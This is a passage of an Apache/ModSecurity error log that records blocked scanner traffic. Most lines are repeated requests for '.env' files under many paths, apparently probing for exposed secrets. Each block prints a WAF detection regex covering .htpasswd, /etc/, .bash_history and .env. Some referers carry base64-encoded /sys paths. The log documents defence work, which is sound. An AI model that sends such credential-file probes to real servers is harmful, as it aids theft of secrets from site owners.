88.51.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zClWSojQL4F7upKBjowAAAPg"] [Sat Jun 13 18:17:14.590621 2026] [security2:error] [pid 646876:tid 647098] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/error/.env"] [unique_id "ai3zCtyTkdrNlD40tSGtpAAAAFo"] [Sat Jun 13 18:17:14.602399 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:17:14.602691 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:17:14.665157 2026] [security2:error] [pid 648189:tid 648422] [client 34.23.213.224:33264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zClWSojQL4F7upKBjqQAAAMk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:14.730314 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/errors/.env"] [unique_id "ai3zCtyTkdrNlD40tSGtqAAAAF8"] [Sat Jun 13 18:17:14.811811 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.91:64546] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:14.812247 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.91:64546] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:14.825287 2026] [security2:error] [pid 648189:tid 648407] [client 34.23.213.224:33278] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zClWSojQL4F7upKBjrgAAALo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:14.870298 2026] [security2:error] [pid 646876:tid 647117] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/example/.env"] [unique_id "ai3zCtyTkdrNlD40tSGtqgAAAG0"] [Sat Jun 13 18:17:14.988992 2026] [security2:error] [pid 646876:tid 647115] [client 34.23.213.224:33292] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zCtyTkdrNlD40tSGtrQAAAGs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:15.012570 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/example02-golang-package/import-underscore/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtsAAAAHM"] [Sat Jun 13 18:17:15.089560 2026] [security2:error] [pid 646876:tid 647052] [client 220.181.51.118:22484] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.51.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zC9yTkdrNlD40tSGtswAAACw"] [Sat Jun 13 18:17:15.151960 2026] [security2:error] [pid 646876:tid 647066] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/example27-how-to-load-env/sample01/.env"] [unique_id "ai3zC9yTkdrNlD40tSGttgAAADo"] [Sat Jun 13 18:17:15.153433 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbS9kcml2ZXJzL2F0a2Jk [Sat Jun 13 18:17:15.153731 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbS9kcml2ZXJzL2F0a2Jk [Sat Jun 13 18:17:15.224045 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.64:39744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:15.224424 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.64:39744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:15.287695 2026] [security2:error] [pid 646876:tid 646998] [remote 17.241.75.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zC9yTkdrNlD40tSGtugAAO3c"] [Sat Jun 13 18:17:15.291607 2026] [security2:error] [pid 646876:tid 647133] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/example27-how-to-load-env/sample02/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtuwAAAH0"] [Sat Jun 13 18:17:15.432179 2026] [security2:error] [pid 646876:tid 647014] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtvgAAAAY"] [Sat Jun 13 18:17:15.492302 2026] [http2:warn] [pid 646876:tid 647104] [client 52.167.144.140:20951] h2_stream(646876-506-3,CLEANUP): started=1, scheduled=1, ready=0, out_buffer=0 [Sat Jun 13 18:17:15.571397 2026] [security2:error] [pid 646876:tid 647097] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/01-simple-model/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtwgAAAFk"] [Sat Jun 13 18:17:15.586732 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.56:28554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:15.587028 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.56:28554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:15.695007 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:15.695261 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:15.710589 2026] [security2:error] [pid 646876:tid 647034] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/02-complex-example/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtxQAAABo"] [Sat Jun 13 18:17:15.849342 2026] [security2:error] [pid 646876:tid 647125] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/03-one-to-many-relationship/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtxwAAAHU"] [Sat Jun 13 18:17:15.873956 2026] [security2:error] [pid 646876:tid 646967] [remote 17.22.237.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zC9yTkdrNlD40tSGtyAAAGFg"] [Sat Jun 13 18:17:15.955407 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.19:32844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:15.955883 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.19:32844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:15.993340 2026] [security2:error] [pid 646876:tid 647015] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/04-many-to-many-relationship/.env"] [unique_id "ai3zC9yTkdrNlD40tSGtzAAAAAc"] [Sat Jun 13 18:17:16.003824 2026] [security2:error] [pid 648189:tid 648313] [remote 17.241.75.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zC1WSojQL4F7upKBjywAAoVs"] [Sat Jun 13 18:17:16.132578 2026] [security2:error] [pid 646876:tid 647064] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/05-migrations/.env"] [unique_id "ai3zDNyTkdrNlD40tSGtzgAAADg"] [Sat Jun 13 18:17:16.231441 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbW91c2Uy [Sat Jun 13 18:17:16.231742 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbW91c2Uy [Sat Jun 13 18:17:16.247569 2026] [security2:error] [pid 646876:tid 646958] [remote 17.22.253.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zDNyTkdrNlD40tSGt0AAARk8"] [Sat Jun 13 18:17:16.273047 2026] [security2:error] [pid 646876:tid 647108] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/06-base-service/.env"] [unique_id "ai3zDNyTkdrNlD40tSGt0gAAAGQ"] [Sat Jun 13 18:17:16.412727 2026] [security2:error] [pid 646876:tid 647107] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/07-feature-flags/.env"] [unique_id "ai3zDNyTkdrNlD40tSGt1AAAAGM"] [Sat Jun 13 18:17:16.426348 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.99:33190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:16.426818 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.99:33190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:16.551811 2026] [security2:error] [pid 646876:tid 647099] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/08-performance/.env"] [unique_id "ai3zDNyTkdrNlD40tSGt1QAAAFs"] [Sat Jun 13 18:17:16.690217 2026] [security2:error] [pid 646876:tid 647084] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( 